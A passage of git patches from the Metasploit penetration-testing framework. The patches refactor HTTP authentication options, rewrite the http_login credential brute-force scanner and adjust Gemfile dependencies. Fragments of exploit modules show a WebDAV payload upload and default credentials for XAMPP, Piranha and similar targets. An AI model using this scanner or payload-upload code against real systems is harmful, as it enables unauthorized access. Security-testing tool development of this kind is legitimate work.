'DOMAIN', + deregister_options('RPORT','RHOST', 'DOMAIN', 'DigestAuthIIS', 'SSLVersion', 'NTLM::SendLM', 'NTLM::SendNTLM', 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', - 'NTLM::UseNTLMv2', 'DigestAuthPassword', 'DigestAuthUser', 'SSL') + 'NTLM::UseNTLMv2', 'SSL') register_options( [ diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb index fda08e41c4..080803918b 100644 --- a/modules/auxiliary/server/http_ntlmrelay.rb +++ b/modules/auxiliary/server/http_ntlmrelay.rb @@ -84,8 +84,7 @@ class Metasploit3 < Msf::Auxiliary 'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol']) ], self.class) - deregister_options('BasicAuthPass', 'BasicAuthUser', 'DOMAIN', 'DigestAuthPassword', - 'DigestAuthUser', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey', + deregister_options('DOMAIN', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2') end diff --git a/modules/exploits/windows/http/xampp_webdav_upload_php.rb b/modules/exploits/windows/http/xampp_webdav_upload_php.rb index c19096b2c8..c4d36a61f1 100644 --- a/modules/exploits/windows/http/xampp_webdav_upload_php.rb +++ b/modules/exploits/windows/http/xampp_webdav_upload_php.rb @@ -36,8 +36,8 @@ class Metasploit3 < Msf::Exploit::Remote [ OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']), OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]), - OptString.new('RUSER', [ true, "The Username to use for Authentication", 'wampp']), - OptString.new('RPASS', [ true, "The Password to use for Authentication", 'xampp']) + OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', 'wampp']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp']) ], self.class) end @@ -46,12 +46,10 @@ class Metasploit3 < Msf::Exploit::Remote def exploit uri = build_path print_status "Uploading Payload to #{uri}" - res,c = send_digest_request_cgi({ + res = send_request_cgi({ 'uri' => uri, 'method' => 'PUT', - 'data' => payload.raw, - 'DigestAuthUser' => datastore['RUSER'], - 'DigestAuthPassword' => datastore['RPASS'] + 'data' => payload.raw }, 25) unless (res and res.code == 201) print_error "Failed to upload file!" From 9497e38ef755089d9a678d25054375b323a6fb84 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Feb 2013 12:31:19 -0600 Subject: [PATCH 104/448] Fix http login scanner Fix the http_login scanner to use new buitin auth --- lib/msf/core/exploit/http/client.rb | 48 +---- lib/rex/proto/http/client.rb | 2 + modules/auxiliary/scanner/http/http_login.rb | 183 +++---------------- 3 files changed, 29 insertions(+), 204 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 808646a843..293a4acd4c 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -274,6 +274,10 @@ module Exploit::Remote::HttpClient def send_request_cgi(opts={}, timeout = 20) begin c = connect(opts) + if opts['username'] and opts['username'] != '' + c.username = opts['username'].to_s + c.password = opts['password'].to_s + end r = c.request_cgi(opts) c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) rescue ::Errno::EPIPE, ::Timeout::Error @@ -289,50 +293,6 @@ module Exploit::Remote::HttpClient datastore['USERNAME'].to_s + ":" + (datastore['PASSWORD'].to_s || '') end - # - # Authenticates to the remote host based on the most appropriate authentication method, - # and returns the HTTP response. If there are multiple auth methods supported, then it - # will pick one in the following order: Basic, Digest, Negotiate, and then NTLM. - # - # Options: - # - username: The username to authenticate as - # - password: The password to authenticate with - # - def send_request_smart_auth(opts={}, timeout=20) - res = send_request_cgi(opts,timeout) - return nil if res.nil? - return res unless res.code == 401 - return res if opts['username'].blank? - return res unless res.headers['WWW-Authenticate'] - - if res.headers['WWW-Authenticate'].include? "Basic" - opts['password']||= '' - opts['basic_auth'] = opts['username'] + ":" + opts['password'] - res = send_request_cgi(opts,timeout) - return res - - elsif res.headers['WWW-Authenticate'].include? "Digest" - opts['DigestAuthUser'] = opts['username'] - opts['DigestAuthPassword'] = opts['password'] - res = send_digest_request_cgi(opts,timeout) - return res - - elsif res.headers['WWW-Authenticate'].include? "Negotiate" - opts['provider'] = 'Negotiate' - res = send_request_auth_negotiate(opts,timeout) - return res - - elsif res.headers['WWW-Authenticate'].include? "NTLM" - opts['provider'] = 'NTLM' - res = send_request_auth_negotiate(opts,timeout) - return res - - end - - return nil - end - - ## # # Wrappers for getters diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 8c32ed3c2b..725f451b42 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -581,6 +581,8 @@ class Client } to = opts['timeout'] || 20 + opts['username'] ||= self.username.to_s + opts['password'] ||= self.password.to_s if opts['provider'] and opts['provider'].include? 'Negotiate' provider = "Negotiate " diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 570ed26c28..fcf69e28e0 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -48,9 +48,7 @@ class Metasploit3 < Msf::Auxiliary register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ]) end - def find_auth_uri_and_scheme - - path_and_scheme = [] + def find_auth_uri if datastore['AUTH_URI'] and datastore['AUTH_URI'].length > 0 paths = [datastore['AUTH_URI']] else @@ -80,21 +78,9 @@ class Metasploit3 < Msf::Auxiliary next if not res end - next if not res.code == 401 - next if not res.headers['WWW-Authenticate'] - path_and_scheme << path - case res.headers['WWW-Authenticate'] - when /Basic/i - path_and_scheme << "Basic" - when /NTLM/i - path_and_scheme << "NTLM" - when /Digest/i - path_and_scheme << "Digest" - end - return path_and_scheme + return path end - return path_and_scheme end def target_url @@ -111,7 +97,7 @@ class Metasploit3 < Msf::Auxiliary print_error("You need need to set AUTH_URI when using PUT Method !") return end - @uri, @scheme = find_auth_uri_and_scheme() + @uri = find_auth_uri() if ! @uri print_error("#{target_url} No URI found that asks for HTTP authentication") return @@ -119,12 +105,7 @@ class Metasploit3 < Msf::Auxiliary @uri = "/#{@uri}" if @uri[0,1] != "/" - if ! @scheme - print_error("#{target_url} Incompatible authentication scheme") - return - end - - print_status("Attempting to login to #{target_url} with #{@scheme} authentication") + print_status("Attempting to login to #{target_url}") each_user_pass { |user, pass| do_login(user, pass) @@ -133,27 +114,23 @@ class Metasploit3 < Msf::Auxiliary def do_login(user='admin', pass='admin') vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") - success = false - proof = "" - ret = do_http_login(user,pass,@scheme) - return :abort if ret == :abort - if ret == :success - proof = @proof.dup - success = true - end + response = do_http_login(user,pass) + result = determine_result(response) - if success + return :abort if result == :abort + + if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") any_user = false any_pass = false vprint_status("#{target_url} - Trying random username with password:'#{pass}'") - any_user = do_http_login(Rex::Text.rand_text_alpha(8), pass, @scheme) + any_user = determine_result(do_http_login(Rex::Text.rand_text_alpha(8), pass)) vprint_status("#{target_url} - Trying username:'#{user}' with random password") - any_pass = do_http_login(user, Rex::Text.rand_text_alpha(8), @scheme) + any_pass = determine_result(do_http_login(user, Rex::Text.rand_text_alpha(8))) if any_user == :success user = "anyuser" @@ -175,7 +152,7 @@ class Metasploit3 < Msf::Auxiliary :sname => (ssl ? 'https' : 'http'), :user => user, :pass => pass, - :proof => "WEBAPP=\"Generic\", PROOF=#{proof}", + :proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}", :source_type => "user_supplied", :active => true ) @@ -188,142 +165,28 @@ class Metasploit3 < Msf::Auxiliary end end - def do_http_login(user,pass,scheme) - case scheme - when /NTLM/i - do_http_auth_ntlm(user,pass) - when /Digest/i - do_http_auth_digest(user,pass,datastore['REQUESTTYPE']) - when /Basic/i - do_http_auth_basic(user,pass) - else - vprint_error("#{target_url}: Unknown authentication scheme") - return :abort - end - end - - def do_http_auth_ntlm(user,pass) + def do_http_login(user,pass) begin - resp = send_request_auth_negotiate( + response = send_request_cgi({ 'uri' => @uri, + 'method' => datastore['REQUESTTYPE'], 'username' => user, 'password' => pass - ) - return :abort if (resp.code == 404) - - if [200, 301, 302].include?(resp.code) - @proof = resp - return :success - end - + }) + return response rescue ::Rex::ConnectionError vprint_error("#{target_url} - Failed to connect to the web server") - return :abort + return nil end + end + def determine_result(response) + return :abort unless response.kind_of? Rex::Proto::Http::Response + return :abort unless response.code + return :success if [200, 301, 302].include?(response.code) return :fail end - def do_http_auth_basic(user,pass) - user_pass = Rex::Text.encode_base64(user + ":" + pass) - begin - res = send_request_cgi({ - 'uri' => @uri, - 'method' => 'GET', - 'headers' => - { - 'Authorization' => "Basic #{user_pass}", - } - }, 25) - - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("#{target_url} not responding") - return :abort - end - - return :abort if (res.code == 404) - - if [200, 301, 302].include?(res.code) - @proof = res - return :success - end - - rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") - return :abort - end - - return :fail - end - - def do_http_auth_digest(user,pass,requesttype) - path = datastore['AUTH_URI'] || "/" - begin - if requesttype == "PUT" - res= send_digest_request_cgi({ - 'uri' => path, - 'method' => requesttype, - 'data' => 'Test123\r\n', - #'DigestAuthIIS' => false, - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass - }, 25) - elsif requesttype == "PROPFIND" - res = send_digest_request_cgi({ - 'uri' => path, - 'method' => requesttype, - 'data' => '', - #'DigestAuthIIS' => false, - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass, - 'headers' => { 'Depth' => '0'} - }, 25) - else - res= send_digest_request_cgi({ - 'uri' => path, - 'method' => requesttype, - #'DigestAuthIIS' => false, - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass - }, 25) - end - - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("#{target_url} not responding") - return :abort - end - - return :abort if (res.code == 404) - - if ( [200, 301, 302].include?(res.code) ) or (res.code == 201) - if ((res.code == 201) and (requesttype == "PUT")) - print_good("Trying to delete #{path}") - del_res = send_digest_request_cgi({ - 'uri' => path, - 'method' => 'DELETE', - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass - }, 25) - if not (del_res.code == 204) - print_error("#{path} could be created, but not deleted again. This may have been noisy ...") - end - end - @proof = res - return :success - end - - if (res.code == 207) and (requesttype == "PROPFIND") - @proof = res - return :success - end - - rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") - return :abort - end - - return :fail - end end From 8b1febb4cfc879706bc9cf4e700e048628bc954f Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Feb 2013 12:32:43 -0600 Subject: [PATCH 105/448] add myself to the blame list for the module =P --- modules/auxiliary/scanner/http/http_login.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index fcf69e28e0..076bb36d70 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary [ ], - 'Author' => [ 'hdm' ], + 'Author' => [ 'hdm' , 'thelightcosine'], 'References' => [ [ 'CVE', '1999-0502'] # Weak password From 090690e440be355692250a9f25e16ed87b60547e Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 4 Feb 2013 12:41:38 -0600 Subject: [PATCH 106/448] Add msgpack to gem deps --- Gemfile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Gemfile b/Gemfile index 502e0060b3..376e177bfc 100755 --- a/Gemfile +++ b/Gemfile @@ -5,6 +5,8 @@ gem 'activesupport', '>= 3.0.0' # Database models shared between framework and Pro. gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.4.0' +gem 'msgpack' + group :development do # Markdown formatting for yard gem 'redcarpet' From 6a7cd3cac2f9f338e8e130d6c3f30a88bf79e247 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 4 Feb 2013 12:47:36 -0600 Subject: [PATCH 107/448] Add better deps to Gemfile Thanks, @bturner-r7 for tracking these down. --- Gemfile | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/Gemfile b/Gemfile index 376e177bfc..dcdea0185f 100755 --- a/Gemfile +++ b/Gemfile @@ -2,10 +2,20 @@ source 'http://rubygems.org' # Need 3+ for ActiveSupport::Concern gem 'activesupport', '>= 3.0.0' +# Needed for Msf::DbManager +gem 'activerecord' +# Needed for some admin modules (scrutinizer_add_user.rb) +gem 'json' # Database models shared between framework and Pro. -gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.4.0' - +gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0' +# Needed by msfgui and other rpc components gem 'msgpack' +# Needed by anemone crawler +gem 'nokogiri' +# Needed for module caching in Mdm::ModuleDetails +gem 'pg', '>= 0.11' +# Needed by anemone crawler +gem 'robots' group :development do # Markdown formatting for yard From 4c1e630bf36077d954bc2f448e26fdd51e201351 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Feb 2013 13:02:26 -0600 Subject: [PATCH 109/448] BasicAuth datastore cleanup cleanup all the old BasicAuth datastore options --- .../auxiliary/scanner/http/cisco_device_manager.rb | 4 ++-- modules/exploits/linux/http/piranha_passwd_exec.rb | 6 +++--- modules/exploits/multi/http/axis2_deployer.rb | 4 +--- modules/exploits/multi/http/jboss_bshdeployer.rb | 3 --- modules/exploits/multi/http/jboss_maindeployer.rb | 3 --- modules/exploits/multi/http/tomcat_mgr_deploy.rb | 14 ++++---------- .../exploits/unix/webapp/oracle_vm_agent_utl.rb | 3 --- modules/exploits/windows/http/easyftp_list.rb | 4 ++-- 8 files changed, 12 insertions(+), 29 deletions(-) diff --git a/modules/auxiliary/scanner/http/cisco_device_manager.rb b/modules/auxiliary/scanner/http/cisco_device_manager.rb index fd57fda9bb..9486262be7 100644 --- a/modules/auxiliary/scanner/http/cisco_device_manager.rb +++ b/modules/auxiliary/scanner/http/cisco_device_manager.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Cisco Device HTTP Device Manager Access', 'Description' => %q{ This module gathers data from a Cisco device (router or switch) with the device manager - web interface exposed. The BasicAuthUser and BasicAuthPass options can be used to specify + web interface exposed. The USERNAME and PASSWORD options can be used to specify authentication. }, 'Author' => [ 'hdm' ], @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{rhost}:#{rport} Successfully authenticated to this device") # Report a vulnerability only if no password was specified - if datastore['BasicAuthPass'].to_s.length == 0 + if datastore['PASSWORD'].to_s.length == 0 report_vuln( { diff --git a/modules/exploits/linux/http/piranha_passwd_exec.rb b/modules/exploits/linux/http/piranha_passwd_exec.rb index d87027cadb..4312fa2bd4 100644 --- a/modules/exploits/linux/http/piranha_passwd_exec.rb +++ b/modules/exploits/linux/http/piranha_passwd_exec.rb @@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'piranha']), - OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'q']), + OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'piranha']), + OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'q']), ], self.class) end @@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote end if res.code == 401 - print_error("401 Authorization Required! Our BasicAuthUser and BasicAuthPass credentials not accepted!") + print_error("401 Authorization Required! Our credentials were not accepted!") elsif (res.code == 200 and res.body =~ /The passwords you supplied match/) print_status("Command successfully executed (according to the server).") end diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index 565d73a293..9f030bbbc2 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -227,9 +227,7 @@ class Metasploit3 < Msf::Exploit::Remote authmsg = res.headers['WWW-Authenticate'] end print_error("The remote server responded expecting authentication") - if datastore['BasicAuthUser'] and datastore['BasicAuthPass'] - print_error("BasicAuthUser \"%s\" failed to authenticate" % datastore['BasicAuthUser']) - elsif authmsg + if authmsg print_error("WWW-Authenticate: %s" % authmsg) end cleanup_instructions(rpath, name) # display cleanup info diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index 07d5eb2ada..f350fe4984 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -96,9 +96,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 7c36c1fa16..2297b52569 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -123,9 +123,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index a46cd2c033..2757cb6e13 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -112,9 +112,6 @@ class Metasploit3 < Msf::Exploit::Remote end def check - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - res = query_serverinfo disconnect return CheckCode::Unknown if res.nil? @@ -127,8 +124,8 @@ class Metasploit3 < Msf::Exploit::Remote :host => rhost, :port => rport, :sname => (ssl ? "https" : "http"), - :user => datastore['BasicAuthUser'], - :pass => datastore['BasicAuthPass'], + :user => datastore['USERNAME'], + :pass => datastore['PASSWORD'], :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", :active => true ) @@ -164,9 +161,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - mytarget = target if (target.name =~ /Automatic/) mytarget = auto_target @@ -221,8 +215,8 @@ class Metasploit3 < Msf::Exploit::Remote :host => rhost, :port => rport, :sname => (ssl ? "https" : "http"), - :user => datastore['BasicAuthUser'], - :pass => datastore['BasicAuthPass'], + :user => datastore['USERNAME'], + :pass => datastore['PASSWORD'], :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", :active => true ) diff --git a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb index 9865c8716b..3bfd6c668e 100644 --- a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb +++ b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb @@ -67,9 +67,6 @@ class Metasploit3 < Msf::Exploit::Remote end def go(command) - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - xml = <<-EOS diff --git a/modules/exploits/windows/http/easyftp_list.rb b/modules/exploits/windows/http/easyftp_list.rb index 3484cdf86f..c337ecdeee 100644 --- a/modules/exploits/windows/http/easyftp_list.rb +++ b/modules/exploits/windows/http/easyftp_list.rb @@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'anonymous']), - OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']), + OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'anonymous']), + OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']), ], self.class) end From 0c57026065203ccab0cad3f7e06c4b278f066fba Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Feb 2013 13:13:08 -0600 Subject: [PATCH 110/448] Remove junk added earlier i added junk to tasos' class when we were going to attempt this a different way. housekeeping to clean it up --- lib/msf/core/auxiliary/web/http.rb | 17 ----------------- 1 file changed, 17 deletions(-) diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 0f88517176..407dfbd828 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -148,23 +148,6 @@ class Auxiliary::Web::HTTP while rlimit >= 0 rlimit -= 1 res = _request( url, opts ) - if res.code == 401 and res.headers['WWW-Authenticate'] and opts['username'] - if res.headers['WWW-Authenticate'].include? 'Basic' - opts['password']||= '' - opts['basic_auth'] = opts['username'] + ":" + opts['password'] - res = _request( url, opts ) - elsif res.headers['WWW-Authenticate'].include? 'Digest' - opts['DigestAuthUser'] = opts['username'] - opts['DigestAuthPassword'] = opts['password'] - res = send_digest_request_cgi(opts,timeout) - elsif res.headers['WWW-Authenticate'].include? "Negotiate" - opts['provider'] = 'Negotiate' - res = send_request_auth_negotiate(opts,timeout) - elsif res.headers['WWW-Authenticate'].include? "NTLM" - opts['provider'] = 'NTLM' - res = send_request_auth_negotiate(opts,timeout) - end - end return res if !opts[:follow_redirect] || !url = res.headers['location'] end nil From 413c37e5068902e362c80d3d773b12748c22046d Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Feb 2013 13:39:40 -0600 Subject: [PATCH 111/448] Add invisible auth to Web::HTTP add the invisible auth support to tasos' http class --- lib/msf/core/auxiliary/web/http.rb | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 407dfbd828..6690f075fd 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -70,6 +70,7 @@ class Auxiliary::Web::HTTP attr_reader :framework attr_accessor :redirect_limit + attr_accessor :username , :password def initialize( opts = {} ) @opts = opts.dup @@ -85,8 +86,8 @@ class Auxiliary::Web::HTTP @request_opts = {} if opts[:auth].is_a? Hash - @request_opts['basic_auth'] = [ opts[:auth][:user].to_s + ':' + - opts[:auth][:password] ]. pack( 'm*' ).gsub( /\s+/, '' ) + @username = opts[:auth][:user].to_s + @password = opts[:auth][:password].to_s end self.redirect_limit = opts[:redirect_limit] || 20 @@ -106,7 +107,9 @@ class Auxiliary::Web::HTTP opts[:target].port, {}, opts[:target].ssl, - 'SSLv23' + 'SSLv23', + username, + password ) c.set_config({ @@ -294,6 +297,10 @@ class Auxiliary::Web::HTTP opts['data'] = body if body c = connect + if opts['username'] and opts['username'] != '' + c.username = opts['username'].to_s + c.password = opts['password'].to_s + end Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout ) rescue ::Timeout::Error Response.timed_out From 9b84e5b3c421bb5e3943a20af985cec4325e3c78 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Feb 2013 13:59:58 -0600 Subject: [PATCH 112/448] Fix raw requests to work as well as cgi --- lib/rex/proto/http/client.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 725f451b42..9d019ebac8 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -201,8 +201,8 @@ class Client req << set_extra_headers(c_head) req << set_raw_headers(c_rawh) req << set_body(c_body) - - req + + {:string => req , :opts => opts} end From c71b803413a36c9d3b14a4bb0f98ba16e8651030 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Feb 2013 14:38:08 -0600 Subject: [PATCH 113/448] Add invisible auth to web crawler the anemone web crawler now properly supports our invisible auth scheme for rex http. --- lib/anemone/rex_http.rb | 4 +++- lib/msf/core/auxiliary/crawler.rb | 16 ++++++++-------- 2 files changed, 11 insertions(+), 9 deletions(-) diff --git a/lib/anemone/rex_http.rb b/lib/anemone/rex_http.rb index ce6a71a17f..f606f289fc 100644 --- a/lib/anemone/rex_http.rb +++ b/lib/anemone/rex_http.rb @@ -188,7 +188,9 @@ module Anemone context, url.scheme == "https", 'SSLv23', - @opts[:proxies] + @opts[:proxies], + @opts[:username], + @opts[:password] ) conn.set_config( diff --git a/lib/msf/core/auxiliary/crawler.rb b/lib/msf/core/auxiliary/crawler.rb index 36e963ecbc..86792381ed 100644 --- a/lib/msf/core/auxiliary/crawler.rb +++ b/lib/msf/core/auxiliary/crawler.rb @@ -22,7 +22,9 @@ module Auxiliary::HttpCrawler Opt::Proxies, OptInt.new('MAX_PAGES', [ true, 'The maximum number of pages to crawl per URL', 500]), OptInt.new('MAX_MINUTES', [ true, 'The maximum number of minutes to spend on each URL', 5]), - OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]) + OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]), + OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication']) ], self.class ) @@ -34,8 +36,6 @@ module Auxiliary::HttpCrawler OptString.new('UserAgent', [true, 'The User-Agent header to use for all requests', "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" ]), - OptString.new('BasicAuthUser', [false, 'The HTTP username to specify for basic authentication']), - OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']), OptString.new('HTTPAdditionalHeaders', [false, "A list of additional headers to send (separated by \\x01)"]), OptString.new('HTTPCookie', [false, "A HTTP cookie header to send with each request"]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), @@ -118,8 +118,9 @@ module Auxiliary::HttpCrawler :info => "" }) - if datastore['BasicAuthUser'] - t[:http_basic_auth] = [ "#{datastore['BasicAuthUser']}:#{datastore['BasicAuthPass']}" ].pack("m*").gsub(/\s+/, '') + if datastore['USERNAME'] and datastore['USERNAME'] != '' + t[:username] = datastore['USERNAME'].to_s + t[:password] = datastore['PASSWORD'].to_s end if datastore['HTTPCookie'] @@ -278,9 +279,8 @@ module Auxiliary::HttpCrawler opts[:cookies] = t[:cookies] end - if t[:http_basic_auth] - opts[:http_basic_auth] = t[:http_basic_auth] - end + opts[:username] = t[:username] || '' + opts[:password] =t[:password] || '' opts end From 39cafd0cdeaf949b85f4d2a6a6881ff61238ca09 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Mon, 4 Feb 2013 15:08:34 -0600 Subject: [PATCH 114/448] Use OptEnum instead of OptString --- modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index 7df91ce063..8eb9e1ce59 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary register_options([ OptString.new('URIPATH', [true, "The URI to test", "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]), ], self.class) end From b793579f5e38b1319b2a5e51f653089376af2c13 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 4 Feb 2013 15:12:31 -0600 Subject: [PATCH 115/448] Fix silly revert of MDM version --- Gemfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile b/Gemfile index dcdea0185f..fc720a23b7 100755 --- a/Gemfile +++ b/Gemfile @@ -7,7 +7,7 @@ gem 'activerecord' # Needed for some admin modules (scrutinizer_add_user.rb) gem 'json' # Database models shared between framework and Pro. -gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0' +gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.4.0' # Needed by msfgui and other rpc components gem 'msgpack' # Needed by anemone crawler From 9b30e354eaaa837ce63492e16f73885d6c11e38c Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Mon, 4 Feb 2013 15:32:36 -0600 Subject: [PATCH 116/448] Updates HTTP_METHOD option to use OptEnum. --- modules/exploits/multi/http/rails_json_yaml_code_exec.rb | 3 +-- modules/exploits/multi/http/rails_xml_yaml_code_exec.rb | 3 +-- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git 